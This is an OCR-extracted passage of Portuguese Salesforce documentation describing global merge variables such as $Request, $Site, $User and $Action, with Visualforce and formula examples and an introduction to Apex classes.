Descricéo: Campo de mesclagem global a ser usado para fazer referéncia a um parametro de consulta por nome, que

retorna um valor.

Use: Adicione $Request manualmente a seu s-control.

Exemplo de s-control: O snippet abaixo, denominado Title Snippet, requer dois parametros de entrada: titleTheme
e titleText.Vocé pode reutiliza-lo em varios s-controls para incluir o titulo da pagina e o tema no
codigo HTML.

<h2
class="{!SRequest.titleTheme}.title”>
{!$Request.titleText}</h2>

O s-control abaixo chama esse snippet usando a funcdo INCLUDE, enviando a ele 0s parametros para o
titulo e o tema da pagina HTML criada.

<html> <head> </head> <body> {!
INCLUDE ($SControl.Title Snippet, [titleTheme =

"modern", titleText = "My Sample Title"]) } ... Insert your page specific
content
here ... </body> </html>
Dicas: Ndo use SRequest em paginas do Visualforce para fazer referéncia a parametros de consulta. Em vez

disso, use $CurrentPage
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Descricao:

Use:

Exemplos do
Visualforce:

Dicas:

$SControl
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Tipo de campo de mesclagem global a ser usado para fazer referéncia ao recurso estatico existente por
nome em uma pagina do Visualforce. Também é possivel usar campos de mesclagem de recursos em
funcdes URLFOR para fazer referéncia a um arquivo especifico em um arquivo de recursos estaticos.

Use SResource para fazer referéncia a um recurso estatico existente. O formato é
SResource.nameOfResource, COMO SResource.TestImage

O componente do Visualforce abaixo faz referéncia a um arquivo de imagem que foi carregado como um
recurso estatico e recebeu o nome de TestImage:

<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

Para fazer referéncia a um arquivo em outro (como .zip ou .jar), use a fungdo URLFOR. Especifique
0 nome do recurso estatico fornecido quando vocé carregou o arquivo com o primeiro parametro e o
caminho do arquivo desejado dentro do arquivo com o segundo parametro. Por exemplo:

<apex:image url="{!URLFOR ($Resource.TestZip,
'images/Bluehills.jpg') }" width="50" height="50"/>

Essa varidvel global s6 esta disponivel para paginas do Visualforce.

@ Importante: As paginas do Visualforce substituem s-controls. As organizagdes que ndo usaram s-controls anteriormente nao
podem crid-los. Os s-controls existentes ndo sao afetados e ainda podem ser editados.

Descrigao:

Use:

Exemplo de s-control:

Exemplos do
Visualforce:

Tipo de campo de mesclagem global a ser usado para fazer referéncia a um custom s-control por nome.Use
0s campos de mesclagem de s-control nas fungbes LINKTO, INCLUDE e URLFOR para fazer referéncia
a um dos s-controls personalizados.

1. Selecione o tipo de dados: $SControl.

2. Selecione um s-control para inserir um campo de mesclagem que represente esse s-control, como
$Scontrol.Header Snippet.

Os-control a seguir faz referéncia ao snippet no campo de mesclagem $Scontrol.Header Snippet:

<html> <body> {! INCLUDE ($SControl.Header Snippet, [title = "My Title",

theme = "modern"])} </body> </html>

O exemplo a seguir mostra como criar link para um s-control de nome HelloWorld em uma péagina do
Visualforce:

<apex:page>

<apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld
s-control</apex:outputLink>

</apex:page>
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$Setup

Descricao:

Use:

Exemplo de campo de
formula:

Exemplos do
Visualforce:
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Se vocé quiser simplesmente incorporar um s-control em uma pagina, vocé pode usar a marca
<apex:scontrol> sem o campo de mesclagem $SControl. Por exemplo:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

e Alistasuspensareferentea Inserir campo de mesclagem lista todos os custom s-controls,
exceto os snippets. Embora os snippets sejam s-controls, eles se comportam de maneira diferente. Por
exemplo, ndo é possivel fazer referéncia a um snippet diretamente em uma fun¢do URLFOR. Os snippets
nao estao disponiveis durante a criacao de um botao ou link personalizado cuja Origem do
contetdo sejaum S-Control personalizado. Ndo é possivel adicionar snippets aos layouts de pagina.
Para inserir um snippet em seu s-control, use 0 botéo suspenso Inserir snippet.

e Essavaridvel global sé esta disponivel para botdes e links personalizados, custom s-controls e paginas
do Visualforce.

Um campo de mesclagem global para usar ao fazer referéncia a uma configuragéo personalizada do tipo
“hierarquia”.

Use sSetup para acessar as configuragoes personalizadas hierarquicas e seus valores de campo usando
a notagdo de ponto. Por exemplo, $Setup.App Prefs c¢.Show Help Content c.

As configuracdes personalizadas hierdrquicas permitem valores em trés niveis:
1. Organizacdo, o valor padréo para todos

2. Perfil, que substitui o valor Organizacao

3. Usudrio, que substitui os valores Organizacéo e Perfil

O Salesforce determina automaticamente o valor correto para esse campo de configuracdo personalizada
no contexto atual do usuario em execucao.

{!$Setup.CustomSettingName c.CustomFieldName c}

Os campos de férmula funcionam somente para configuragées personalizadas de hierarquia. Eles ndo podem
ser usados para configuracdes personalizadas de lista.

O exemplo a seguir ilustra como exibir condicionalmente uma mensagem de ajuda estendida para um
campo de entrada, dependendo da preferéncia do usudrio:

<apex:page>
<apex:inputField value="{!usr.Workstation Height c}"/>
<apex:outputPanel id="helpWorkstationHeight"
rendered="{!$Setup.App Prefs c.Show Help Content c}">
Enter the height for your workstation in inches, measured from
the
floor to top of the work surface.
</apex:outputPanel>
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$Site
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</apex:page>

Se o nivel de organizacéo da configuracdo personalizada for definido como verdadeiro, 05 usuarios
visualizam a mensagem de ajuda estendida por padrao. Se alguém preferir ndo ver as mensagens de ajuda,
poderé definir sua configuracao personalizada como falso para substituir o valor de organizacao (ou
perfil).

Configuracoes personalizadas do tipo “lista” ndo estdo disponiveis em paginas do Visualforce usando essa
varidvel global. E possivel acessar as configuracées personalizadas de lista no Apex.

Essa varidvel global estd disponivel em paginas do Visualforce, campos de férmula, regras de validacao e
formulas de fluxo e de processo.

Um tipo de campo de mesclagem global a ser usado ao fazer referéncia a informacées sobre o site do
Force.com.

Use a notagdo de ponto para acessar as informagées sobre o atual site do Force.com. Observe que s6 estédo
disponiveis os seguintes campos do site:

Campo de mesclagem Descricdo

$Site.Name Apresenta o nome da API do site atual.

$Site.Domain Apresenta o nome de dominio do Force.com para sua organizacao.
$Site.CustomWebAddress Retorna o URL personalizado da solicitagdo, caso ele ndo termine

em force.com, ou o URL personalizado principal do site. Se
nenhum dos dois existe, ele retorna uma string vazia. Observe
que o caminho do URL é sempre a raiz, mesmo se 0 URL
personalizado da solicitacdo tem um prefixo de caminho. Se a
solicitacdo atual ndo é uma solicitacao de site, esse campo retorna
uma string vazia. O valor desse campo sempre termina em um
caractere /. O uso de $Site.CustomWebAddress ndo é
recomendavel; em vez disso, recomendamos usar
$Site.BaseCustomUrl.

$Site.OriginalUrl Retorna o URL original dessa pagina caso seja uma péagina de erro
designada para o site; caso contrério, retorna nulo.

$Site.CurrentSiteUrl Retorna o URL de base do site atual que as referéncias e links
devem usar. Observe que esse campo poderia retornar o URL da
pagina de referéncia em vez do URL da solicitacdo atual. O valor
desse campo inclui um prefixo de caminho que sempre termina
em um caractere /. Se a solicitacdo atual nao é uma solicitacao
de site, esse campo retorna uma string vazia. O uso de
$Site.CurrentSiteUrl ndo é recomendavel. Em vez disso, use
$Site.BaseUrl.
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Campo de mesclagem

$Site.LoginEnabled

$Site.RegistrationEnabled

$Site.IsPasswordExpired

$Site. AdminEmailAddress

$Site Prefix

$Site.Template

$Site.ErrorMessage

$Site.ErrorDescription

$Site. AnalyticsTrackingCode

$Site.BaseCustomUrl

$Site.BaselnsecureUrl
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Descricdo

Retorna verdadeiro se o site atual estiver associado a um
portal ativo e ativado por email; caso contrario, retorna falso.

Retorna verdadeiro se o site atual estiver associado a um
Portal do cliente ativado por autorregistro ativo; caso contrario,
retorna falso.

Para usuarios autenticados, retornard verdadeiro seasenha
do usudrio que estiver logado no momento estiver expirada. Para
usuarios ndo autenticados, retorna falso.

Retorna o valor do campo Contato do site paraosite
atual.

Retorna o prefixo do caminho do URL do site atual. Por exemplo:
se o URLdosite é myco. force.com/partners,
/partners é0 prefixodo caminho. Retorna nulo se o prefixo
nao é definido. Se a solicitacdo atual ndo é uma solicitacao de site,
esse campo retorna uma string vazia.

Retorna o nome do modelo associado ao site atual; serd nulo o
modelo padrao se nenhum modelo tiver sido selecionado.

Retorna uma mensagem de erro da pagina atual se essa for uma
pagina de erro designada para o site e existir um erro. Caso
contrario, retorna uma string vazia.

Retorna uma descricdo de erro da pagina atual se essa for uma
pagina de erro designada para o site e existir um erro. Caso
contrario, retorna uma string vazia.

O cédigo de rastreamento associado ao seu site. Esse codigo pode
ser usado por servicos como o Google Analytics para controlar
dados de solicitacbes de pagina para o site.

Retorna um URL de base para o site atual que nao usa um
subdominio de Force.com. O URL retornado usa o mesmo
protocolo (HTTP ou HTTPS) da solicitacao atual caso pelo menos
um URL personalizado que nao seja Force.com e suporte HTTPS
exista no site. O valor retornado nunca termina em um caractere
/. Se todos 0s URLs personalizados neste site terminam em
force.com ou esse site ndo tem URLs personalizados, uma
string vazia € retornada. Se a solicitacdo atual ndo é uma solicitacdo
de site, esse método retorna uma string vazia.

Esse campo substitui CustomiWebAddress e inclui o prefixo
do caminho do URL personalizado.

Retorna um URL de base para o site atual que usa HTTP em vez
de HTTPS. O dominio da solicitacao atual é usado. O valor
retornado inclui o prefixo de caminho e nunca termina em um
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Campo de mesclagem Descricdo

caractere /. Se a solicitacdo atual ndo é uma solicitacao de site,
esse método retorna uma string vazia.

$Site.BaseRequestUrl Retorna o URL de base do site atual para o URL solicitado. Isso ndo
éinfluenciado pelo URL da pagina de referéncia. O URL retornado
usa 0 mesmo protocolo (HTTP ou HTTPS) da solicitacao atual. O
valor retornado inclui o prefixo de caminho e nunca termina em
um caractere /. Se a solicitagdo atual ndo é uma solicitagdo de
site, esse método retorna uma string vazia.

$Site.BaseSecureUrl Retorna um URL de base para o site atual que usa HTTPS em vez
de HTTP. O dominio da solicitagdo atual tem preferéncia caso
suporte HTTPS. Dominios que ndo sejam subdominios de
Force.com tém preferéncia em relacdo aos subdominios de
Force.com. Caso nenhum outro dominio HTTPS exista no site atual,
um subdominio de Force.com é usado caso esteja associado ao
site. Caso nao existam URLs personalizados de HTTPS no site, esse
método retorna uma string vazia. O valor retornado inclui o prefixo
de caminho e nunca termina em um caractere /. Se a solicitacéo
atual ndo é uma solicitacéo de site, esse método retorna uma
string vazia.

$Site.BaseUrl Retorna o URL de base do site atual que as referéncias e links
devem usar. Observe que esse campo pode retornar o URL da
pagina de referéncia em vez do URL da solicitacdo atual. O valor
desse campo inclui o prefixo de caminho e nunca termina em um
caractere /. Se a solicitacao atual ndo é uma solicitacdo de site,
esse campo retorna uma string vazia.

Este campo substitui $Site.CurrentSiteUrl.

$Site.MasterLabel Retorna o valor do campo Rétulo do site atual. Se a solicitacao
atual ndo é uma solicitacao de site, esse campo retorna uma string
vazia.

$Site.Siteld Retorna o ID do site atual.Se a solicitagao atual nao é uma

solicitagdo de site, esse campo retorna uma string vazia.

$Site.SiteType Retorna o valor de API do campo Tipo de site referente ao site
atual. Se a solicitacdo atual ndo é uma solicitagcdo de site, esse
campo retorna uma string vazia.

$Site.SiteTypelabel Retorna o valor do rétulo do campo Tipo de site do site atual.Se
a solicitacdo atual ndo é uma solicitacdo de site, esse campo
retorna uma string vazia.
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Exemplos do O exemplo a seguir mostra como usar o campo de mesclagem $Site.Template:

Visualforce: _ _ _ _ .
<apex:page title="Job Application Confirmation" showHeader="false"

standardStylesheets="true">

<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">

<apex:define name="body">
<apex:form>

<apex:commandLink value="<- Back to Job Search"

onclick="window.top.location="'{!$Page.PublicJobs}';return
false;"/>

<br/>

<br/>

<center>
<apex:outputText value="Your application has been saved.

Thank you for your interest!"/>
</center>
<br/>
<br/>
</apex:form>
</apex:define>

</apex:composition>
</apex:page>

Dicas: Essa variavel global esta disponivel nas paginas do Visualforce, modelos de email e s-controls.

$System.OriginDateTime

Descricéo: Um campo de mesclagem global que representa o valor literal de 1900-01-01 00:00:00. Use essa variavel
global ao realizar célculos de deslocamento de data/hora ou atribuir um valor literal a um campo de data/hora.

Use: 1. Selecione o tipo de dados: $System.

2. Selecione OriginDateTime daop¢do Inserir campo de mesclagem

Exemplo de férmula: O exemplo abaixo ilustra como converter um campo de data em um campo de data/hordrio. Ele usa a data
no campo de mesclagem OriginDateTime para obter o nimero de dias desde que um campo
personalizado chamou Meu campo de data.Em seguida, ele adiciona o nimero de dias para o valor
OriginDateTime.

$System.OriginDatetime + ( My Date Field c¢ -
DATEVALUE ($System.OriginDatetime) )

Nota: OriginDateTime estd no fuso hordrio GMT, mas o resultado é exibido no fuso horério
local do usuério.
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Exemplo de fluxo:

Exemplos do
Visualforce:
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O exemplo a seguir calcula o nimero de dias que se passaram desde 1° de janeiro de 1900:

{INOW () - $System.OriginDateTime}

Essa varidvel global estd disponivel em:

Valores padrao

Formulas em campos personalizados, fluxos, processos e regras de fluxo de trabalho

Acoes de atualizacdo de campo de fluxo de trabalho

Paginas do Visualforce e s-controls

Um tipo de campo de mesclagem global a ser usado ao fazer referéncia a informagdes sobre o usudario atual.
Campos de mesclagem de usuérios podem fazer referéncia a informacgdes sobre o usuario, como alias, titulo
elD.

1. Selecione o tipo de dados: SUser.

2. Selecione um campo de mesclagem como SUser .Username.

A férmula de regra de validagdo abaixo faz referéncia ao ID do usudrio atual para determinar se ele é o
proprietério do registro. Use um exemplo como esse para assegurar que somente o proprietario do registro
ou usudrios com perfil de administrador possam fazer alteracdes em um campo personalizado chamado
Meta pessoal:

AND ( ISCHANGED( Personal Goal c¢ ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

Para acessar facilmente o nome do usuario em execucao, use uma férmula de fluxo. Crie uma férmula de
fluxo (Text) com esta expressao.

{!SUser.FirstName} & “ “ & {!S$User.LastName}

Apos criar a férmula, referencie-a quando precisar chamar o usuério pelo nome no fluxo. Referenciando a
varidvel global $User, vocé evita o uso de uma pesquisa, 0 que contaria para os limites do fluxo.

O exemplo a seguir exibe 0 nome da empresa do usuario atual, assim como o status dele (que retorna um
valor booleano).

<apex:page>
<hl>Congratulations</hl>
This is your new Apex Page
<p>The current company name for this
user is: {!S$User.CompanyName}</p>
<p>Is the user active?
{!SUser.isActive}</p>
</apex:page>
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e Qusudrio atual é a pessoa que muda o registro que solicitou o valor padrao, a regra de validacao ou
outra operacao que use esses campos de mesclagem global.

® Quando um processo Web-to-Case ou Web-to-Lead alterar um registro, o usudrio atual serd o
Proprietdrio padrdo do lead ou Proprietdrio padrdo do caso

e Quando um processo executa acoes agendadas e o usuario que o iniciou nao esta mais ativo, $User
refere-se ao usuario do fluxo de trabalho padrdo. O mesmo vale para a¢des baseadas em tempo em
regras de fluxo de trabalho.

e Alguns dos campos de mesclagem SUser podem ser usados em filtros de configuragdo maoveis.

$User.UITheme € $User.UIThemeDisplayed

Descrigao:

Use:

Exemplos do
Visualforce:

Estes campos de mesclagem global identificam como o usudrio visualiza o Salesforce em uma determinada
pagina da Web.

A diferenca entre as duas varidveis é que $User.UITheme retorna a aparéncia que o usuario deveria
ver, enquanto $User.UIThemeDisplayed retornaaaparéncia que o usuario realmente vé. Por
exemplo, um usudrio pode ter permissdes para visualizar a aparéncia do novo tema da interface do usuario;
porém, se ele estiver usando um navegador sem suporte a essa aparéncia (por exemplo, versdes mais antigas
do Internet Explorer), SUser.UIThemeDisplayed retornarad um valor diferente.

Use estas variaveis para identificar o CSS usado para gerar paginas da Web do Salesforce para um usuario.
As duas varidveis retornam um dos valores a seguir.

® Themel—Tema obsoleto do Salesforce

e Theme2 — Tema do Salesforce usado antes do Spring '10

* Theme3 — Tema classico "Aloha" do Salesforce, apresentado na Spring '10
e PortalDefault—Tema do Portal de clientes do Salesforce

* Webstore—Tema do Salesforce AppExchange

Nota: $User.UITheme e $User.UIThemeDisplayed retornam o valor "Theme3" no
Lightning Experience e no Salesforce1, o que ndo estd correto. O comportamento de
$User.UITheme e $SUser.UIThemeDisplayed nesse contexto pode ser alterado em
uma versao futura.

O exemplo a sequir mostra como gerar layouts diferentes baseados em um tema do usudrio:

<apex:page>
<apex:pageBlock title="My Content" rendered="{!S$User.UITheme ==
'Theme2'}">
// this is the old theme...
</apex:pageBlock>

<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==
'Theme3"'}">
// this is the classic theme
</apex:pageBlock>
</apex:page>
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$UserRole
Descricao: Tipo de campo de mesclagem global a ser usado para fazer referéncia a informagdes sobre o papel do
usuario atual. Campos de mesclagem de papel podem fazer referéncia a informagées como nome do papel,
descricdoe ID.
Use:

1. Selecione o tipo de dados: SUserRole.
2. Selecione um campo de mesclagem como SUserRole.Name.
Exemplo deregrade A fdrmula de regra de validacdo abaixo faz referéncia ao nome do papel do usuario para validar aquele que

validacao: um campo personalizado chamou de Porcentagem de desconto ndo ultrapasse o valor maximo
permitido para aquele papel:

Discount Percent c > VLOOKUP ($ObjectType.Role Limits c.Fields.Limit c,

$ObjectType.Role Limits c.Fields.Name, $SUserRole.Name)

Processo, fluxo e

. {!$UserRole.LastModifiedById}
Visualforce:

Dicas: e Qusudrio atual é a pessoa que muda o registro que solicitou o valor padrao, a regra de validacao ou
outra operagao que use esses campos de mesclagem global.

* Quando um processo Web-to-Case ou Web-to-Lead alterar um registro, o usudrio atual serd o
Proprietario padr&o do lead ou Proprietédrio padr&o do caso.

e Quando um processo executa acoes agendadas e o usuario que o iniciou ndo esta mais ativo, SUserRole
refere-se ao papel do usudrio do fluxo de trabalho padrdo. O mesmo vale para acdes baseadas em tempo
em regras de fluxo de trabalho.

@ Nota: N&o é possivel usar os sequintes valores de $UserRole no Visualforce:

® CaseAccessForAccountOwner
® ContactAccessForAccountOwner
® OpportunityAccessForAccountOwner
® PortalType
CONSULTE TAMBEM:

Valores validos para a varidvel global $Action
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Valores vdlidos para a variavel global $action

Atabela a seguir lista as acdes que vocé pode mencionar com a varidvel global $Action e os

objetos nos quais vocé pode executar essas acdes. Todos os objetos suportam a¢des basicas, como
novo, clonar, visualizar, editar, listar e excluir. A varidvel global $Action também faz referéncia
as acoes disponiveis em muitos objetos padréo. Os valores disponiveis na sua organizacao podem
ser diferentes, dependendo dos recursos que vocé ativar.

Valor

Aceitar

Activate

Adicionar

AddCampaign

AddInfluence

AddProduct

AddToCampaign

AddToOutlook

AdvancedSetup

AltavistaNews

Cancel

Descricao

Aceita um registro.

Ativa um contrato.

Adiciona um produto ao
catdlogo de precos.

Adiciona um membro a
campanha.

Adiciona uma campanha a uma
lista de oportunidade em
campanhas de influéncia.

Adiciona um produto ao
catdlogo de precos.

Adiciona um contato ou lead a
uma campanha.

Adiciona um compromisso ao
Microsoft Outlook.

Inicia a configuracdo avancada
da campanha.

Lanca

www.altavista.com/news/.

Cancela um compromisso.

Objetos

e Grupo de anuncios

e (aso

e Compromisso

e (Campanha do Google
e Palavra-chave

e lead

e Frase de pesquisa

e Versdo SFGA

e Anuncio de texto

Contrato

Product2

Campanha

Oportunidade

OpportunityLineltem

e (ontato
e |ead

Compromisso

Campanha

e (onta
e |ead

Compromisso
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EDICOES

Disponivel em: Salesforce
Classic

Variavel global $Action
disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para criar, editar e excluir

custom s-controls, formulas
ou paginas do Visualforce:
e "Personalizar aplicativo"
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CaseSelect

ChangeOwner

ChangeStatus

ChoosePricebook

Clonar

CloneAsChild
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Especifique um caso para uma solugdo.

Altere o proprietario de um registro.

Altere o status de um caso.

Selecione o catalogo de precos a ser usado.

Clone um registro.

Crie um caso relacionado com os detalhes
de um caso pai.

Solugdo

Conta

Grupo de anuincios
Campanha

Caso

Contato

Contrato
Campanha do Google
Palavra-chave
Leads
Oportunidades
Frase de pesquisa
Versao SFGA

Anuncio de texto

Caso
Lead

OpportunityLineltem

Grupo de anuncios
Patrimonio
Campanha

Membro de campanha
Caso

Contato

Contrato
Compromisso
Campanha do Google
Palavra-chave

Lead

Oportunidade
Produto

Frase de pesquisa
Versao SFGA

Anuncio de texto

Objetos personalizados

Caso
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CloseCase

Converter

ConvertlLead

Create_Opportunity

Decline

Excluir

DeleteSeries

DisableCustomerPortal
DisableCustomerPortalAccount
DisablePartnerPortal
DisablePartnerPortalAccount

Download
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Feche um caso.

Cria um novo contato, conta e oportunidade
usando as informagdes de um lead.

Converte um lead em um membro da
campanha.

Cria uma oportunidade com base em um
membro da campanha.

Recusa um compromisso.

Excluir um registro.

Exclui uma série de compromissos ou
tarefas.

Desativa um usudrio do portal de clientes.
Desativa a conta do portal de clientes.

Desativa um usudrio do portal do parceiro.
Desativa uma conta do portal do parceiro.

Faz download de um anexo.

Caso

Lead

Membro da campanha

Membro da campanha

Compromisso

e Grupo de anuncios

e Patriménio

e (Campanha

*  Membro de campanha
e (aso

e (ontato

e (ontrato

e Compromisso

e (Campanha do Google
e Palavra-chave

e lead

e QOportunidade

e Produto da oportunidade
e Produto

e Frase de pesquisa

e Versdo SFGA

e Solugdo

e Tarefa

e Anuncio de texto

e Objetos personalizados

e Compromisso
e Tarefa
Contato

Conta

Contato

Conta

e Anexo

e Documento
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Editar Editar um registro. e Grupo de andincios
e Patriménio

e (Campanha

e Membro de campanha

e (aso

e (ontato

e (ontrato

e Compromisso

e (Campanha do Google

e Palavra-chave

e |ead

e QOportunidade

e Produto da oportunidade
e Produto

e Frase de pesquisa

e \Versdo SFGA

e Solucdo

e Tarefa

e Anuncio de texto

e Objetos personalizados

EditAllProduct Edita todos os produtos de um catdlogo de  OpportunitylLineltem
precos.

EnableAsPartner Designa uma conta como conta de parceiro.  Conta

EnablePartnerPortalUser Ativa um contato como usuario do portal ~ Contato
do parceiro.

EnableSelfService Ativa um contato como usuario de Contato
auto-atendimento.

FindDup Exibe leads duplicados. Lead
FollowupEvent Cria um compromisso de Compromisso

acompanhamento.
FollowupTask Cria uma tarefa de acompanhamento. Compromisso
HooversProfile Exibe um perfil de Hoovers. e Conta

e |lead

IncludeOffline Inclui um registro de conta no Connect Conta

Offline.
GoogleMaps Plota um endereco no Google Maps. e Conta
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GoogleNews

GoogleSearch

List

LogCall
MailMerge
ManageMembers
MassClose

Merge

Novo

Exibe www.google.com/news.

Exibe www.google. com.

Lista os registros de um objeto.

Faz o log de uma chamada.

Gera uma mala direta.

Inicie a pdgina Gerenciar membros.
Fechar vdrios casos.

Mescla contatos.

Crie um novo registro.
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Contato
Lead

Conta
Contato
Lead

Conta
Contato
Lead

Grupo de anuincios
Campanha

Caso

Contato

Contrato
Campanha do Google
Palavra-chave
Lead
Oportunidade
Produto

Frase de pesquisa
Versao SFGA
Solucao

Anuncio de texto

Objetos personalizados

Atividade

Atividade

Campanha

Caso

Contato

Atividade

Grupo de anuincios
Patriménio
Campanha

Caso

Contato

Contrato
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NewTask

RequestUpdate

SelfServSelect

SendEmail

SendGmail

Sort

Compartilhar

Enviar para aprovacdo
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Criar uma tarefa.

Solicita uma atualizagdo.

Registra um usudrio como usuario do
auto-atendimento.

Envie o email.

Abre um email em branco no Gmail.

Classifica os produtos em um catélogo de
pregos.

Compartilha um registro.

Envia um registro para aprovacao.
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e Compromisso

e (Campanha do Google
e Palavra-chave

° |ead

e Oportunidade

e Frase de pesquisa

e Versao SFGA

e Solucdo

e Tarefa

e Anuncio de texto

e Objetos personalizados
Tarefa

e (ontato
e Atividade

Solucao

Atividade

e (ontato
e |ead

OpportunityLineltem

e (onta

e Grupo de anuncios
e (Campanha

e (aso

e (ontato

e (ontrato

e (Campanha do Google
e Palavra-chave

e |ead

e Oportunidade

e Frase de pesquisa
e Versao SFGA

e Anuncio de texto

e (onta
e Atividade
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Tab

Exibir

Acessa a guia para um objeto.

Exibir um registro.

Grupo de anuncios
Patrimonio
Campanha

Membro de campanha
Caso

Contato

Contrato
Compromisso
Campanha do Google
Palavra-chave

Lead

Oportunidade

Produto da oportunidade

Produto

Frase de pesquisa
Versao SFGA
Solucao

Tarefa

Anuncio de texto

Grupo de anuncios
Campanha

Caso

Contato

Contrato
Campanha do Google
Palavra-chave
Lead
Oportunidade
Produto

Frase de pesquisa
Versao SFGA
Solugdo

Antncio de texto

Atividade

Grupo de anuncios
Patrimonio
Campanha

Membro de campanha
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e (aso

e (ontato

e (ontrato

e Compromisso

e (Campanha do Google
e Palavra-chave

e |lead

e Oportunidade

e Produto da oportunidade
e Produto

e Frase de pesquisa

e Versdo SFGA

e Solugdo

e Anuncio de texto

e Objetos personalizados

ViewAllCampaignMembers Lista todos os membros da campanha. Campanha

ViewCampaignInfluenceReport Exibe o relatério Campanhas com Campanha
oportunidades influenciadas.

ViewPartnerPortalUser Lista todos os usuarios do portal do parceiro. Contato

ViewSelfService Lista todos os usudrios de Contato
auto-atendimento.

YahooMaps Plota um endereco no Yahoo! Maps. e Conta
e (ontato
e |lead
YahooWeather Exibe Contato

http://weather.yahoo.com/.

CONSULTE TAMBEM:

Nocdes bésicas sobre varidveis globais
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Codigo do Apex

Visdo geral do codigo do Apex

Apex é uma linguagem de programacdo orientada a objetos, com identificacao de tipos forte, que EDlCOES
permite aos desenvolvedores executar instru¢des de controle de transacéo e fluxo no servidor da
plataforma Force.com em conjunto com chamadas para a API do Force.com. Usando uma sintaxe

Disponivel em: Salesforce

parecida com Java e que age como procedimentos armazenados de banco de dados, o Apex Classic e Lightning
permite que os desenvolvedores adicionem légica comercial a maioria dos eventos de sistema, Experience
incluindo cliques de botao, atualizagées de registros relacionados e paginas do Visualforce. O cédigo
Apex pode ser iniciado por solicitacées de servico da Web e através de acionadores nos objetos. Disponivel em: Ent-er;')nse,
_ Performance, Unlimited,
O Apex pode ser armazenado na plataforma de duas formas diferentes: Developer e Database.com
e Uma classe é um modelo ou projeto com base no qual objetos do Apex s&o criados. As classes Editions

consistem em outras classes, métodos definidos pelo usuério, variaveis, tipos de excecéo e
codigo de inicializagdo estatico. Em Configuragdo, insira Classes do Apex na Caixa
Busca réapida e selecione Classes do Apex. Consulte Gerenciar classes do Apex na pagina 56.

e Um acionador é um cédigo do Apex executado antes ou depois que eventos especificos de linguagem de manipulacdo de dados
(DML) ocorrem; por exemplo, antes que registros de objetos sejam inseridos no banco de dados ou depois que 0s registros sdo
excluidos. Os acionados sdo armazenados como metadados no Salesforce. Uma lista de todos os acionadores na sua organizagao
esta localizada na pagina Acionadores do Apex em Configuracao. Consulte Gerenciar acionadores do Apex na pagina 57.

O Apex geralmente é executado no contexto do sistema, ou seja, as permissdes do usudrio atual, a seguranca em nivel de campo e as
regras de compartilhamento nao sao levadas em conta durante a execugao do cédigo.

Vocé precisa ter pelo menos 75% do Apex coberto por testes de unidade para poder implantar o cédigo em ambientes de produgao.
Além disso, todos os acionadores devem ter uma cobertura de teste. Consulte Sobre testes de unidade do Apex na pagina 291.

Apos criar as classes e acionadores, assim como os testes, reproduza a execucao usando o Console do desenvolvedor.

@ Nota: Vocé sé pode adicionar, editar ou excluir o Apex usando a interface do usudrio do Salesforce em uma organizacdo Developer
Edition, uma organizacdo de avaliacdo Enterprise Edition do Salesforce ou uma organizagdo sandbox. Em uma organizacéo de
produgdo do Salesforce, vocé sé pode fazer alteragdes no Apex usando a chamada da APl de metadados deploy, o Force.com
IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com Migration Tool sdo recursos gratuitos fornecidos pelo Salesforce

para auxiliar seus usuarios e parceiros, mas ndo sao considerados parte de nossos Servicos dentro do escopo do Contrato de
assinatura mestre do Salesforce.

Para obter mais informacdes sobre a sintaxe e 0 uso do Apex, consulte o Force.com Apex Code Developer's Guide (Guia do desenvolvedor
do Apex Code).

Apex Developer’s Guide e Developer Tools

O Apex Code Developer’s Guide é a referéncia completa para a linguagem de programacéo Apex. O Apex Code Developer’s Guide
também explica a sintaxe da linguagem, como chamar o Apex, como trabalhar com limites, como escrever testes e mais. Para escrever
um Apex code, vocé pode escolher entre diversas ferramentas do Salesforce e de terceiros.

e force.com Apex Code Developer's Guide
Use estas ferramentas para escrever um Apex code:

e (Console do desenvolvedor do Force.com
e Force.com IDE plug-in for Eclipse

e Editor de codigo na interface do usuério do Salesforce


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
https://developer.salesforce.com/page/Force.com_IDE
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Pesquise na Web para localizar IDEs do Salesforce criados por desenvolvedores de terceiros.

Definir classes do Apex

As classes do Apex sdo armazenadas como metadados no Salesforce. EDlCC)ES

@ Nota: Vocé sé pode adicionar, editar ou excluir o Apex usando a interface do usuario do

Salesforce em uma organizacao Developer Edition, uma organizaco de avaliacio Enterprise Disponivel em: Salesforce

Edition do Salesforce ou uma organizagdo sandbox. Em uma organizacdo de producéo do Classic
Salesforce, vocé sé pode fazer alteragdes no Apex usando a chamada da APl de metadados Disponivel em: Edicoes
deploy, o Force.com IDE ou a Force.com Migration Tool. O Force.com IDE e o Force.com Performance, Unlimited,
Migration Tool sdo recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usuarios e Developer, Enterprise e
parceiros, mas nao sao considerados parte de nossos Servigos dentro do escopo do Contrato Database.com
de assinatura mestre do Salesforce.

Para criar uma classe: PERMISSOES DO

1. EmConfiguracdo,insira Classes do Apex nacaixa Busca rapida eselecione Classes USUARIO

do Apex.

Para definir, editar, excluir,
2. Clique em Novo. definir a seguranca, definir
as configuracdes da versdo,

3. (lique em Configuragdes da versao para especificar a versdo do Apex e a APl usada com essa o
mostrar dependéncias e

classe. Se sua organizagao tiver instalado pacotes gerenciados pelo AppExchange, vocé também
; - ) i ’ . executar testes de classes
poderd especificar qual versao de cada pacote gerenciado deverd ser utilizada com essa classe. do Apex:
Use os valores padrao para todas as versdes. Isso associa a classe com a versao mais recente do «  "Apex do autor”
Apex e da API, além de a cada pacote gerenciado. Vocé pode especificar uma versao mais antiga
de um pacote gerenciado caso queira acessar os componentes ou funcionalidades diferentes
da versdo do pacote mais recente. Vocé pode especificar uma versdo mais antiga do Apex e da APl para manter um comportamento
especifico.

4. No editor de classes, digite o codigo Apex para a classe. Uma Unica classe pode ter até 1 milhdo de caracteres de extensao, nao
incluindo comentarios, métodos de teste ou classes definidas usando @isTest.

